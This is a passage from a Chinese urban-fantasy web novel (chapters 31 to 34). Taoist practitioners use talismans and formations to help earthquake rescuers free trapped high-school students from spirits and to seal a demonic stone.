“走吧去下一个地方。”吴惟合上了眼睛,他的抓紧恢复了,鬼知道后面有什么,早点调查清楚才好思考之后的对策。
“你现在还有力气?”
“你要担心我就默念三遍‘希望吴惟马上好起来’比什么都有用。”
常笑:“?”
吴惟叹气,“你知道你现在是我的移动血包和蓝条吗?”
决定把常笑的特质告诉他,也是经过深思熟虑的。
毕竟常笑跟他们班其他同学不一样,本身就接触过玄门,还是个军人,相较于考虑他能不能接受,更应该让他知道自己能够承担什么样的责任,尤其是现在还要和他打配合。
“人的心念本身就能产生能量,玄学又能放大这种能量,而你又很特殊,在心念加持下,能够把自身能量让渡给我使用。”
“所以你现在就是个极品奶妈。”
被同学带着玩过游戏的常笑:“。”
行吧,这还真没想到,他哥因为经常碰到特殊案件转去学玄学了,他原本是没这个想法的,没想到竟然以这种方式和玄学搭上线。
还真是世事无常。
现在差不多是中午,三人到补给站领了盒饭,开着越野摩托车边走边吃。
路上吴惟见到了个熟悉的身影。
“等等,停一下。”
已经休息好的吴惟自己下了车,过去找人了。无他,单打独斗太费劲了,而且他需要一些知识库支持。
居然都要主动和别人打招呼了,这样子,真不像他。
.
楚星垣站在一处废墟边上,大致观察了一下,向不远处,穿着道袍的小老头招了招手,“莫繁,你来看看,这下面是不是有人!”
想他一个风水师,为什么会做这种苦逼活。
比起寻人,他也只能从风水上判断这个地方的气好不好,如果真出事了能不能庇佑人。
换句话说,他就是只能提供一种可能,比红外线还不好使,但装备不够,多他一个到底也是多一份助力。
小老头…也就是莫繁掐着手正算着,楚星垣叫他暂时没理,算的差不多了,指了一个地方:“这里,下面尸体有点多,可以放心挖,尸体下面还有个人,应该还有气,尽快,他应该撑不了多久了。”
向旁边的人交代完了,这才走向楚星垣。
楚星垣指指大概位置,莫繁点点头,说道:“你先去布个升阳阵,尽量保住里面人的性命,这里交给我。”
“好!”
升阳阵,顾名思义,升发阳气,聚灵阵的一种,作为正儿八斤的风水师,楚星垣是会一点阵法的,只不过基本上都与风水沾点边。
他们玄学虽然有时候很看天赋,而且天赋和天赋之间是有壁的,但并不是说你只能学一样,有时候为了同一个手段学多种术法也是常见。
比如毕子濯是个天师,只要和捉鬼有关,不论咒印、符箓还是阵法他都会一点,只不过咒和印对他来说是最得心应手的。
楚星垣也是一样。
只是天赋肯定比宋靥星差很多,布阵也慢上许多,更不能像她一样徒手搓阵。
好在阵法也是可以提前预制一部分的,只要带上常用的半成品,在此基础上按照需求修改好就可以了。
用了十分钟,楚星垣才用早就准备好的半成品把升阳阵布置好。
那边莫繁已经结束了,下面确实压的有人,情况要比隔壁好太多了,正好被堵在墙角,三角形结构很稳定,哪怕再发生余震都不一定出事。
唯一的问题是下面只有一个人,大概因为恐惧无人分摊,她精神状态着实不太稳定。
与旁人交代了位置,顺便提了一嘴可能需要心理医生之后,就站在那等楚星垣。
“你不去下一处?”楚星垣干完活,舒了一口气,走过来问道。
莫繁老神在在望着天空,说道:“我在等人。”
楚星垣:“?”
莫繁没有解释,只是邀请楚星垣一起等。
看他这样子,楚星垣就知道他卖关子的毛病又犯了。
其实也倒也不算是毛病,应该说是职业病,毕竟泄露天机的事,不宜多说。
但楚星垣了解他,知道他但凡露出这幅表情,就是有什么重要的事,于是干脆陪他一起等。
不一会儿,身后一辆摩托的声音路过,似乎停了下来,紧接着就听到了脚一串步声,距
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离他越来越近。
这就是莫繁说等的人?
楚莫两人同时回头,又露出了同款惊讶的表情。
楚星垣:“无为?”
莫繁:“七杀?还有…天医?有趣。”
吴惟走过来的时候,另外两人也停车跟了过来。
吴惟点头:“是我。”
莫繁:“星仔,不介绍介绍?”
好嘛,原来在这等着他呢,楚星垣翻了个白眼,难怪要他一起等呢,无为八成是看见自己才停下来的,要是他不在,恁俩还遇不上呢。
楚星垣表面上一本正经地介绍着,“这位是我之前跟你提到过的无为,还记得你之前算到跟家有关的事吗,当时说的那个破局关键就是他。”
“这位是莫繁,就是之前在群里说过的那位算命很厉害的家伙。”
吴惟见到这么个道骨仙风的老人家,下意识摆出一副老派的作风,向莫繁微微鞠了个躬,“您好,我是吴惟,这是我同学常笑,这位我的临时队友姚洞。”
常笑和姚洞在吴惟念他们名字的时候向对方敬了个礼。
莫繁跟着吴惟的动作也下意识的鞠了一躬,之后才反应过来,好家伙,这小家伙比自己都古板,这种鞠躬礼都多少年没见了,有趣。
“你们好啊,”莫繁打了个招呼之后,注意力给到吴惟,笑眯眯地说道,“星仔和我提到过你,该说想让我帮你看下相,你想知道吗?”
吴惟:“……”
所以说最怕自来熟了。
“这些还是有空再聊吧,”吴惟叹气,“现在情况比较紧急,我这里有些问题想让两位帮我分析一下,可以吗?”
莫繁:“行,你说。”
吴惟把之前遇到的事情说了一遍。
莫繁:“莫名停留的灵魂,莫名沾染上的怨气…让我想想。”
“听起来像阵法,这样,我有个小师侄,现在…”莫繁掐指算了算,指了个方向,“你往这个方向走就能找到她,她是个阵师,你带她去看一眼,说不定能发现什么呢。”
“我那个小师侄名叫宋靥星,是个女孩儿。”
吴惟沉默了一瞬,道:“好的,谢谢您。”
“不用,”莫繁笑道,“大家都是在为百姓办事,不用互相道谢。”
吴惟朝楚星垣点点头,表示告别,楚星垣看出他不好意思,也笑了起来,调侃了一句:“快去吧,救世主。”
吴惟:“……”
看着吴惟僵硬离去的背影,楚莫二人都笑了起来,啧,果然什么样的人交什么样的朋友。
笑了一会儿,楚星垣明知故问:“你刚刚说等人,等的就是无为?”
莫繁:“是啊,我就是好奇,你之前说因果符阵降世,我就想见见他了。”
楚星垣:“如何?”
莫繁叹道:“果然没有好事。”
“那孩子命主七杀,一生艰难险阻,事事不顺,好在他性淡泊,才总能在无形之中化解灾厄。”
“如今通神,这是变数,也是他的机遇,如果抓住了,也许能扶摇而上。”
“只是这样会更难对吧。”楚星垣老神在在道,他可太了解莫繁了,“也许”就是可能性很小,小到忽略不计。
“哈哈,也不一定,那孩子天赋好,只是天赋再好,有些机遇可不是上天给你的礼物,而是提前支付的代价。”
“你应该清楚,上古四大符阵出现的意义是什么,如今已现世其中之二,你觉得会是好消息吗?”
楚星垣叹气:“希望他能受得住吧。”
上古四大符阵,每次出现都必伴随着灾祸,因为它是天道提前给予的金手指。
“我也得赶紧提升实力了,可不能掉队啊。”
“哈,加油吧小星仔。”莫繁笑了一声,继续道,“不过那孩子运气不错,能遇到一个天医小子,看上去还未入道,有趣。”
“天医?”
“天医临命,救死扶伤,即便那天医小子不是学医的,也会用自己的方式,为别人续命,有他在,七杀的路会好走很多。”
“啧,让人嫉妒的天赋,”楚星垣无情结束了这个话题,“走了,人也见了,干活去了!”
“嘿,恁小子翻脸不认人!”
.
32. 第 32 章
“天地无极,乾坤借法,敕!”
操场中,一团灵光分散开来,散在八十来位穿着校服的同学身上。
他们盘膝而坐,口中还念诵着:
“心若冰清,天塌不惊。万变犹定,神怡气静。尘垢不沾,俗相不染。”
“即展眉头,灵台清幽。心无星碍,意无所执。”
“……”
或许一个念没什么感觉,但这么多人齐声念诵,有一种震撼人心的效果。
无形的光华照耀着他们,使得黑雾不敢靠近。
毕子濯松了一口气。
他抬头看向漫天的黑雾,黑暗让他们迷失了时间。
也不知道过去多久了,外界的同道是否能发现他们。
他和师姐刚进来的时候,这里一片混乱,可谓是群魔乱舞,若非师姐的阵盘感应到里面尚有活人的气息,他们二人是不会进来的。
他们两人一直是搭档,所擅长的东西和鬼怪关系更紧密一些,所以来的时候拒绝了特事局给他们安排的帮手。
地震会导致地脉紊乱,加上枉死的人太多了,大量的秽气和怨气聚集,会加剧疫病的传播和人们情绪的失控。
所以他们提出在会优先清理鬼魂之后,上面也没说什么,由他们去了。
救人固然重要,一些防范工作也需要做好。一路上清理了不少怨气秽物,也收走不少魂魄。
灾区由于地脉紊乱,气机也变得愈发混乱,毕子濯的阴阳眼是先天的,无法关闭,在此处几乎成了盲人。
忽然眼前一空,黑色代替了所有眼花缭乱的气机,给他的眼睛带来片刻安宁。
但这不对,这么浓郁集中的怨气,一般不会在这种天灾之中出现,除非是人为的。
毕子濯叫了师姐,宋靥星才发现这里。
这处怨气竟然生了灵,会主动屏蔽外界的感知!
一般来说,所谓的气就是一团能量,而控制怨气的厉鬼,也几乎没有理智可言,能够完全控制怨气不往外泄几乎是不可能的。
虽然此处因为天灾各种气机混杂,也不乏怨气存在,但每股气都是有来处的,但凡有一丝是从此处泄露的,以宋靥星的能力不可能忽略。
两人都发现了不同寻常,但宋靥星用阵盘感应到了里面的生人气息不少,且状态似乎都不是很好。
这种情况多耽误一秒里面的人多一份危险,两人自然没办法放着不管,只好在附近留下求援信号,先一步进入其中。
.
常笑驱车载着吴惟和战友朝着莫繁指的方向形势。
路过一处废墟,常笑突然刹车。
“怎么了?”
“感觉不太好,说不上来。”常笑蹙眉,那是一种很难说出口的的感觉,常笑想了半天也没找到合适的形容,半天憋出来一句,“总之很恶心。”
“灵觉高的人所有的感受都不能忽视。”
吴惟当然知道这个道理,当下也变得严肃起来。
他们下车,在四周观察了一下,并没有发现什么,但吴惟感受到了违和。
作为一个会一点建模的画师,吴惟对空间感受还算敏感,他总觉得似乎有地方空间衔接不太对。
“这里是不是有什么东西。”姚洞忽然出声。
吴惟循声望去,违和感瞬间达到顶峰,他想都没想,随手扔下了个五雷符。
这符箓还是当初夙明月给他的,张钰婷离开前那晚,夙明月给吴惟塞了百来张符,各种都有,问就是以防万一。
符箓使用说到底会比其他术法快一些,并且因为是提前封好的,不用消耗多少自身的力量,比较方便。
之前因为各种原因一直没用上,这次只是为了找一个破绽,没什么比符箓更快了。
五雷符一出,三人就听到“滋啦”一声,庞大的黑色棉花团出现在他们眼前,被五雷符轰过的地方出现了一个能通车的小口。
是的,哪怕是没有什么灵觉的姚洞也听到了。
吴惟很诧异,没想到姚洞眼神这么好,没有灵觉却能用肉眼注意到不对。
“姚洞是我们团最强的狙击手。”
“好厉害!”婴灵赞叹一句,吴惟的点点头赞同了这句话。
是真的好厉害,他也在心里惊叹。
三人瞬间回神。
“现在怎么办?”
连没有开眼的普通人都能看到,这怨气几乎已经实质化了,放着不管肯定很危险。
吴惟沉吟了一下,说道:“我和笑笑得进去,莫繁给我们指这个方向,说不定宋靥星就在里面。”
“姚洞你能把这件事上报吗?”虽然听起来好像明知故问,但是命令的语气吴惟实在说不出口,“这处地点是你发现的,玄门的人也不一定能发现,之后也许还需要你来指路。”
姚洞有些激动,挺胸抬头敬了个军礼,大声道:“保证完成任务!”
自己终于能帮上点忙了,姚洞很开心,之前那次,其实他都看到吴惟吐血了。
当时他就想上前,又怕因为自己看不到添乱,直到看起来结束了才过去。
作为军人,连敌人都看不见,只能眼睁睁看着民众受伤,这种愧疚的感觉很不好受。
是以他暗下决心,这次吴惟给他的任务,他一定会用十二分精力去完成。
吴惟点点头,给他开了个眼以防万一。
天眼不是万能的,而且也比不上毕子濯那种天生的,但配合姚洞练狙击练出来的观察能力,总归是要比普通人开眼强上不少。
吴惟又翻了一下空间,把夙明月画的最好的那张平安福和辟邪符给了姚洞,这才放心带着常笑离开。
姚洞一边感动着,一边快速拿出对讲机上报。
.
“有人进来了。”宋靥星突然出声。
这段时间,她无师自通了阴阳演化大阵,之前一直找不到窍门,现在被逼这一下反而直接融会贯通了。
宋毕二人刚进来的时候,怨气黑压压的,伸手不见五指,操场上的学生们或三三两两抱成一团,或躺在地上生死不知。
恐惧席卷每个人的心头。
但他们被怨气侵蚀,气息微缩,连惊叫的力气都没有了。
周边没有趁手的能量可以用,只有自己身上的一身清气,以及少量积攒下来的功德,哪怕能召唤雷祖这个作弊器,也会因为环境威力大减。
还真是捉襟见肘啊。
这时宋靥星自然就想到阴阳演化大阵,能扭转阴阳,把阴煞之气转化成清气。
但她从来没有成功过,这次也只能背水一战试上一试了。
大概是因为背后多条人命的重压,让她突然开窍了,让她摸到了点门道,成功布阵,只是她需要集中精力维持阵法,无法去布置其他阵法来抵挡怨气的入侵。
这事自然就落在毕子濯头上,想要救下那么多人,光靠他们两根人肯定不够。
是以毕子濯用尽办法鼓舞士气之后,想到让他们自己诵读清心咒来抵抗侵蚀。
人的语言是有灵的,人的信念能够放大这种灵性,再加上毕子濯的引导,众人很快就静下心来,专心抵抗怨气。
他们都相信自己会得救。
只是在黑暗中难免时间感知会拉长,时间久了人心也难免浮动。
一天一夜过去,不仅是学生们,就连宋毕二人都觉得自己快要到极限了。
这时,宋靥星感受到了一个熟悉的气息。
这股气息带着一种陌生的强势,劈开黑雾,很快来到了他们面前。
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开路什么最快,自然是雷祖作弊器了。
用愿力召唤来的九天神雷威力更胜,只一道,就劈散前路,露出了里面的人影。
吴惟带着常笑快步上前,走近才发现,竟然有这么多人。
吴惟见他们状态都不好,快速在附近画了个祝福符阵。
增幅一出,阴阳演化大阵开始慢慢脱离宋靥星的掌控,自己运行起来,她终于可以松一口气了。
另一边,几乎已到极限的学生们也感觉身体轻松许多。
有人眼尖,隐约看到了常笑身上的制服,惊喜地叫道:“是军人叔叔,军人叔叔来救我们了!”
学生们闻言俱露出惊喜的表情。
人民子弟兵在人民心中的地位一向高,更何况是高中生,在他们眼里,军人叔叔是无所不能的。
刚刚还颓靡的士气瞬间高涨,毕子濯顺势施展起九字真言:“临兵斗者,皆阵列前行!”
众人心中恐惧全消,一阵神清气爽。
有好动的学生已经忍不住,小跑到常笑身边,问道:“军人叔叔,我们什么时候出去?”
常笑看向吴惟,似乎发现吴惟才是下命令的人,八十来双眼睛齐齐放在吴惟身上。
吴惟:“……”
救命。
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婴灵:“加油。”
草…这是加油的事嘛!
吴惟深吸一口气,尽量让自己声音不要颤抖,安抚道:“先别急,我们需要知道这里发生了什么,才能把你们都带出去。”
一个女生出列,“我来说吧。”
她是其中一个班的班长,对这种汇报工作比较熟悉,就自告奋勇站出来。
“我们学校是整个市里学生成绩最好,升学率最高的学校,但是学生学习压力也是最大的。”
“如果不是体育课有指标,我们可能体育课都没了。地震的时候我们两个班在上体育课,因为大家都在操场,所以只是有人受了点伤,没出什么事。”
“但是其他学生和老师,甚至校长都埋在了教学楼里。”
“军人叔叔应该知道我们这里是地震大省,平时也会有一些小地震发生,为了学生学习,平时发生地震的时候,老师都不允许出去,会扣学分。”
“但是谁也想不到这次地震会这么剧烈,所以这次连一楼的学生都没能逃出来。”
她是眼睁睁看着一些同学明明已经冲出教室,却因为离得太近,被倾斜的教学楼埋在了地下的。
之前因为恐惧和其他情绪蔓延,并没有心情去同情别人,现在想起来,后知后觉为那些学生感到悲伤。
在场的人有一个算一个,拳头都变硬了。
“开什么玩笑,安全这东西是说笑的吗?为了学习命都不要了!”毕子濯火气最旺,忍不住破口大骂。
“这种现象不是少见的。”吴惟的语气很冷,似乎没有什么情感波动,他以前不是没有看别人说起过。
比如看小说的时候有些情节,他在评论区就看到有人说宿舍门被锁着,地震也不让出去,因为宿管怕被扣钱。
还有地震了专门去查学生有没有专心在学习,如果因为这个抬头要扣分的事。
以前看到也会感觉愤怒,但到底不如亲眼所见这么触目惊心。
全校一千多名学生,尽数埋葬于此。
“也难怪周围怨气这么重。”
吴惟环视一周,放在之前还看不清晰的黑雾,此时能够看到一些学生的影子,他们拍打着“结界”,嘴里不停喊着“救命,放我们出去”。
“有什么办法能帮到他们吗?”吴惟问毕子濯,在场除了婴灵,他对鬼是最了解的。
“太多了。”毕子濯无奈摇头,“而且怨气也太重了,只能用净天地咒将之涤荡干净,但…”
但那些孩子的魂魄也要消散于天地了。
话不需要出口,谁都能听出他的意思。
婴灵:“其实地府的手段也不好使,若是到地府只能先把他们隔离起来,直到怨气尽数消散才能如普通鬼一样进入鬼城生活。”
“虽然事后有补偿,但到底对他们还是会有损伤,鬼龄会比正常鬼要短一些。”
在场除了他们和两个体育老师都是学生,何况他们也有一样的经历,多少会有些物伤其类。
“真的没办法帮帮他们吗?”
“真的太惨了,我们活下来都是因为上体育课,如果不是刚好是体育课地震的…”
“可是他们把我们困住了,如果不对付他们我们是不是也出不去?”
“那怎么办,我也不想死啊!”
“……”
“安静。”吴惟揉揉太阳穴,再次拿出禁言咒。
他用手划拉一下空间,下一秒地上多了一些各种各样的小零食,这是他路上买的特产,没想到竟然用在了这里,“先吃吧,等下先找出路。”
“别想那么多,救鬼是我们的事,现在军人叔叔要带你们回家。”
学生们眼睛亮了起来,欢呼一声直奔零食区域。
他们确实饿太久了,之前一直强撑着,现在有了食物,一个个肚子都在抗议。
“别抢,大家排好队!”体育老师还是有点老师威信的,快速把同学混乱的同学组织起来,“都别乱,班长和班干部过来领。”
“……”
“你们也吃吧。”吴惟又拿出两袋面包,宋靥星摇头,“我们辟谷了。”
常笑听得很不明所以,“你们修行人都辟谷吗?”
“特殊情况下会,辟谷能让我们行气更通畅,也会清空一些杂念。”
常笑点头表示理解。
看来以后可以不用劝吴惟吃饭了。
.
33. 第 33 章
宋靥星:“你有办法出去吗?这里地脉紊乱,又有百鬼拦路,哪怕是我的阵法也很难辨别方向。”
办法倒是有,只不过没用过,吴惟也没把握。
婴灵:“你每次说没把握都用的很成功。”
吴惟:“说话留一线,万一呢。”
这个办法是建立在归终符阵基础上的,符阵是他用愿力勾画的,本身就有一丝他的气机,他是可以沟通符阵的。
“总之,我先试试吧。”吴惟没把话说满,“如果不行,只能带着他们慢慢找出路了。”
.
严闵是换岗下来的军官,他在现场指挥清路障已经12个小时没有休息了,战友怕他累倒,把他轰了回来。
“你小子赶紧给我回去,再难也不差你一个,也不怕累倒了,到时候还要跟民众抢药用。”
严闵一听有道理,于是也不逞强了,赶紧退下来,回基地休息。
听说换班的同志要去司令部贡献一份力量,他就跟着去了,一边排队一边吃饭,差不多快吃完的时候终于轮到他了。
严闵跟站在地图前,听引导员跟他讲注意事项,心里还奇怪,这是什么新科技吗,听着好唯心。
什么虔诚的问出问题,地图会告诉你答案。
引导员见多了不信的人,自然没什么反应,因为她知道,作为军人,他们哪怕质疑也会照做,这就是军人的基本素养,令行禁止。
而一旦使用见证归终符阵的神奇就不会再质疑了。
果然,严闵没有说什么,只是按照指引,把手放在阵前,内心想着引导员告诉他的问题,“现在还有哪处需要人手?”
默念三遍之后,地图亮了。
在一处原地图是一座学校的地方,亮起了一个青色的小点,小点慢慢膨胀,不一会儿就变成了一个模糊不清的人形。
“有人吗?”青色的人影开口了。
不仅严闵惊了,引导员也惊了,这是第一次看到地图突然有什么实质变化。
往常地图上的变化也只有缓缓流动的丝线,它会根据当地情况发生一些改变,但直接出现人影,并且似乎能够交流的情况从来没有出现过。
好在引导员曾经作为政委,也是见过大世面的,虽然心中惊讶,面上却不显,平稳地开口“有的,请问您遇到什么事了吗?”
另一边,成功用移动蓝条勾画好归终符阵的子符阵的吴惟,听到对面的声音终于松了口气。
“你能在地图上看到我的位置吗?”
“可以的,是在天水高中对吗?”
吴惟扭头询问学生,得到了肯定的答案,“是的,这里有八十多位学生和两位老师,我们被困在里面了,需要你们的引导。”
“这…”引导员有点震惊了,竟然有这么多人,“请问要怎么做。”
“默念天水高中的名字,它完整的呈现在你们眼前。”
引导员趁这个空档,让身边的人去请司令了,听到他的话,冲严闵点了点头。
接收到指令,严闵照做,果然眼前的影像变成了天水高中附近的3d虚影,覆盖在地图上方。
从虚影中能看出来附近的楼已经成废墟,地面也有不同程度的裂缝,操场中间站着许多人,周围没有任何会拦住他们去路的阻碍,但他们心里能感觉到一种说不出来的别扭。
尤其是虚影的覆盖面积并不只有天水,周边的环境也能看到一些,在天水高中之外,还有另外一波人,围着天水乱转,似乎想要找到进去的路,就是找不到。
“你们现在应该能看到我这里的情况,接下来我们会往外走,如果走偏了,请你们提醒我。”
“好的。”
接下来,严闵就见证了什么叫无头的苍蝇,这八十来人朝着一个方向走了没几步就偏离了原本的轨迹。
他出声提醒,下一秒他们有转到了反方向,就连提醒的人也觉得棘手。
“只用一点点就可以,不是180大转弯!”严闵暴躁的声音从阵中传来,听得吴惟几人想叹气。
“抱歉。”
过了没一会儿,司令来了,问清楚了情况之后,示意严闵先别急躁,多观察,对方是无心的。
严闵自然也能意识到,只是他太久没睡,精神有些不堪负重,经司令提醒,慢慢冷静下来。
之后他发现了一个规律,就是如果他们需要大转弯就要往小了去报,需要微调方向,反而要转的更多。
就这样磕磕绊绊把人送到了门口。
姚洞眼尖,先一步见到人影,赶紧叫来旁边的人,来人捏起诀就往那个方向丢:“太灵九宫,太一守房,百神参位,魂魄和同,长生不死,塞灭邪凶,敕!”
迷障被劈开,众人见到了里面的情形。
黑雾弥漫,看起来十分阴邪。
从学校里出来的众人刚好被符咒劈中,周围的怨气散了不少,浑身一清抬头便看见原本雾蒙蒙的地方景色清晰起来。
站在迷雾后面是有军人,有消防员,还有一些玄门人士。
“我们出来了,我们出来了!”
学生们惊喜地欢呼,有些人甚至激动地落下了眼泪。
姚洞率先上前,跑到吴惟身边,上下打量着:“先生您没事吧。”
吴惟:“……”
救命,你怎么突然真的客气。
“没事,大家都没事。”
“那就好,那就好。”
被战友遗忘的常笑:“?”
那边学生们和两位老师被军人和消防员带回去安顿了,被叫来帮忙的玄门人士却围了过来。
“宋阵师,毕天师。”众人行礼。
宋毕二人点点头算是还礼了。
其中一人开口问道:“两位能否说下这里的情况?”
“这事我们会先上报,如果能公开了一定会通知诸位。”宋靥星回答的滴水不漏,毕竟事情太大了,不是他们能够决定的。
吴惟见状没说什么,到一边向归终符阵那边的人打了声招呼,挥手打散了符阵。
玄门众人也明白,有时候知道太多不一定是好事,也没再追问,寒暄两句就各自散开了。
毕竟他们还有活要干。
二人应付完众人,才向吴惟那边走去。
“之前你说找我们有事?”
吴惟把之前的事说了出来,宋靥星沉吟了一下,说道:“我可以和你们去那边看一下,不过…这里要怎么处理?”
“稍等。”吴惟拉着常笑的手绕着学校走了一圈,将镶嵌了因果符阵的祝福符阵落在四周。
走着去,被背着回来,也是很拼了。
“好了,我们走吧。”
宋靥星看他这样,整个人都震惊了,“不是哥们,你干啥去了?”这么虚。
“画了点符阵,得亏有奶,不然你现在看到我都横着了。”
“现在也没好到哪去。”常笑无情拆台。
吴惟捂耳,不听不听,王八念经。
“画符阵做什么?”宋毕二人不明所以,毕子濯刚问完就有些明悟了,“你是有办法救那些学生都魂魄了?”
此时姚洞找来了越野车,“边走边说吧。”
几人上车,吴惟才有空解释,“我之前琢磨了一下,那些孩子本身没有做恶,又是枉死,哪怕困住过同学,但最后也没伤到他们,身上没有什么业力。”
“所以用祝福符阵嵌套了一点因果符阵,应该可以保护他们在净天地咒中存活下来。”
“至于那些为了学生学习不顾他们死活的校领导,净化了就净化了吧。”
“还能这样?!”宋靥星表示嫉妒了,四大符阵真是好东西,这就是所谓的大道至简吗?
毕子濯也倒没什么感觉,只是惊叹了一下,说道:“等晚上回去我就把这件事上报,之后会带人去净化的。”
净化过后还要给他们收尸消毒,灾后防疫也很重要,所以还是得尽早。
简单交流过后,三人很默契地闭目养神起来。
吴惟在脑子里大致勾画起所见所闻,准备回到驻地把它画下来连夜发布。
哎,愿力不够用啊。
.
“又是阴阳颠倒聚灵阵。”宋靥星皱着眉头,冷哼一声。
此时废墟已经没人
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了,这里清理过了,消防员都撤离去了别处。剩下的工作就是等卫生部那边过来做防疫了。
倒是方便了这五人来查看情况。
“等我取出阵眼。”宋靥星将阵盘往前一送,双手掐诀,不一会儿阵盘上便多出一块黑色石头,和当初那一块一模一样。
“果然又是天魔咒。”宋靥星将石头交给吴惟,说道,“接下来交给你了。”
吴惟点点头,一手抓着常笑的胳膊,一手握着黑石,直接用常笑的浩然正气为底,刻画起因果业火符阵。
半晌,符阵刻画完成,魔纹并没有消失,只是稍稍有些消耗,被正气束缚在石头中。
石头的外表变成青黑交织的模样,吴惟满意地把石头交还给宋靥星,“这个你们处理吧,你们应该有专门的人能研究这个?”
宋靥星沉默了,不明白这人这段时间是去干嘛了,怎么好像突然变厉害了。
上次处理天魔石的时候的时候,穷尽了所有人的力量才把石头废掉,当时石头直接化成渣渣,他们什么都没捞到,自然无从研究。
但是这次,不仅速度快了许多,也轻松许多,而且力道控制的刚刚好。
对,没错,他们给这石头起名叫天魔石,简单粗暴易懂。
吴惟仿佛读懂了她复杂的眼神,有些无奈地解释道:“不是我的功劳,上次用的是功德,功德本身就天克魔纹,自然什么都留不下来了。”
“这次用正气,虽然对魔纹也只是有一定克制作用,更多还是封印,所以才能留存下来。”
“至于为什么那么轻松,”吴惟拉过她的手放在常笑手上,“呐,你自己体会。”
常笑:“?”
不是,知道你社恐,但是你能不能有点正常人的思维,女孩子的手是能乱牵的吗?!
一股磅礴的浩然正气顺着手心涌入宋靥星体内,惊地她差点跳起来,“天医临命?!”
“什么?!”毕子濯也震惊了,拉开师姐握住常笑的手,“好精纯的浩然正气!”
“什么天医临命?”吴惟知道他的能力,不知道什么命格。
宋靥星大概解释了一下,“天医临命,救死扶伤,一般来说拥有这种命格的人对于玄门来说都是可以续命的存在。”
“如果你学医一定会比旁人学的更快更好,哪怕不学别的,也能为别人提供多余正常人好几倍的帮助。”
“就比如你身上的正气,一般来说是它的作用更多的是压制邪祟,鼓舞士气。”
“但是放在你手上,甚至哪怕只是无意识散发出来的正气也能为我们修复经脉,填补空缺,不会因为所用之气不同,所练功法不同从而造成什么损伤。”
之前他们渡气给吴惟刻画符阵的时候,因为功法不相容,浪费了许多,所以最终才会导致吴惟力竭昏睡了三天。
常笑愣了一下,之前听吴惟说他是血包和蓝条并没有什么实感,原来自己这么好用吗?
“难怪他的正气可以掰成好几瓣用。”吴惟恍悟,这不仅是蓝条,基本上可以说是无限蓝条了。
说真的官方大奶真的不能挖吗?
不过也没关系,平时没遇到这种大灾难也不需要,遇上了也会有官方支援,自己之前也算帮了不小的忙,到时候问问常司令可不可以以后有需要出任务的时候借调一下。
说起来司令也姓常,该不会?吴惟瞄了一眼面容刚毅的常笑,虽然之前不好意思看司令的脸,但这下颌脸型和嘴巴还真有点像呢。
罪过罪过,这种事还是不要脑补了,万一错了呢。
常笑:“?”
宋毕二人羡慕地看着吴惟,这种搭档谁不想拥有啊。
但是他们之后应该不会同行,大家都是玄门数一数二的高手,自然还是分开效率更高。
此事揭过,话题转向天魔。
“这里会有天魔石,说明他果然已经盯上了这里,之后说不定还会有动作。”宋靥星分析道。
毕子濯随后补充,“其实并不意外,天灾之下人心浮动,确实很容易让他钻空子,更何况地脉紊乱,也确实更容易浑水摸鱼。”
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34. 第 34 章
三人沉默下来,“先通知特事局吧。”
这事说到底还是得官方来办,天魔的实力和人心挂钩,安抚人心的活官方才是最熟悉的。
“也对。”宋靥星表示赞同。
三人达成共识之后,结伴回了基地。
又是一天过去了,这两天消耗过多,刚刚在外面还提着劲,并没有什么特别的感觉。
到了车上气一松,俱昏睡过去,三人到基地的时候已经睡死过去,最后是被常笑二人扛回去的。
远远看去仿佛三具尸体。
这不,刚好撞见常司令,给司令吓得不轻。
笑死,根本不是刚好,他听说常笑几人回来,是专门来探望他们的。
常笑他不担心,自家孩子自己知道,身强力壮,很能抗,但是吴惟,归终符阵之后他有托人去查过他。
从小身体不好,后来慢慢养好了,平时不爱说话,总是一个人,最近才接触玄学,之前救人,还帮警方提供了一条人口买卖的线索,今天又用归终符阵救了那么多人。
真是好孩子啊,天赋好,心性也好,他可得看着点,别把人累垮了。
结果刚到宿舍区就看到扛着吴惟和毕子濯的常笑。
常司令:“……”
常笑:“……”
场面一度尴尬。
不过对于常笑来说还好。
常笑把两人放在床上,顺手把吴惟长发撩到枕头上,帮他们脱了鞋,又接了点水大概擦了下汗,盖好被子,一套动行云流水,没有一丝滞塞。
做完这一切,常笑这才有空看一眼自家老爹。
“司令好。”很没诚意的一声问候。
“好,好。”
常有为也不恼,刚刚还津津有味地看着一家儿子照顾人呢,别说,这小子很适合当护工,有够细心。
常有为就是常司令,人如其名,确实很有才干。
“他们怎么样?”司令问的是身体情况,毕竟竖着出去横着回来,看起来总归不太好。
“没什么大碍,就是脱力了。”常笑露出了和司令同款的忧虑表情,“消耗太过,一路上几次力竭。”
常有为想起第一次见面的时候,就耗空能量差点晕在他面前的吴惟,更忧虑了,现在的小年轻怎么这么不爱惜自己。
“那你可得多看着点,不能出什么事了。”
“我会的。”
“你不知道,这孩子能力有多罕见,皓轩都告诉我了,四大符阵会一种都是千年难得一遇的天才了。我听皓轩说他之前就使用过另外三种。”
常笑之前不了解符阵,如今听他一说,瞬间了解自己这位老同学到底有多重要,脸色也跟着严肃起来。
常有为看到他这样的表情,就知道他理解了自己的意思,“这孩子之后会成为特事局的顾问,笑笑啊,你们是同学,以后要好好保护人家,知道吗?”
“你要把我调到特事局?”
“咳,笑笑啊,我知道你对那方面不感冒,”常有为有些不自在,没经过本人同意就申请调令什么的,“但是这孩子的特殊性你也知道,那方面的敌人我倒是不担心,就怕有人用一些人为手段对他不利。”
虽然不一定会有什么敌人,但特殊人才总归是要好好保护的。
“你看你本事又高,又刚好是他同学,就算出现在他身边也不会被怀疑什么…”
“我知道了。”
“嗯?”常有为惊讶了,没想到他居然这么平静,没有以为自己是故意把他调离军队的吗?
“我今天知道了一些事,也许在玄门更有用。”常笑很平静地把之前从宋靥星那里听到的话复述了一遍,常有为更惊讶了。
自己儿子自己知道,从小人高马大,学什么都很快,尤其是军队里的训练,几乎从来都是都是第一。
后来当了特种兵,任务完成的也相当出色。但是他作为父亲,一直不放心害怕小儿子出什么事。
然而有时候就是怕什么来什么。
二十岁那年,常笑因为一个任务受了重伤,虽然不知道怎么回事,奇迹般的活了下来,但到底伤了根本,不能再剧烈运动了。
常有为反而松了口气,二十岁,正是上学的年纪,那段时间常笑很消沉,他就把之前保留的学籍拿了出来,让他去上学,希望校园生活能够让他好转。
常笑选择了临大的艺术学院,常有为很诧异,他从来没接触过这些,但既然是儿子自己选的,他当然是同意了。
大学四年,常有为不知道儿子在学校经历了什么,奇迹竟然再次发生,他的身体又变得强壮,之前留在体内的病根都消失不见。
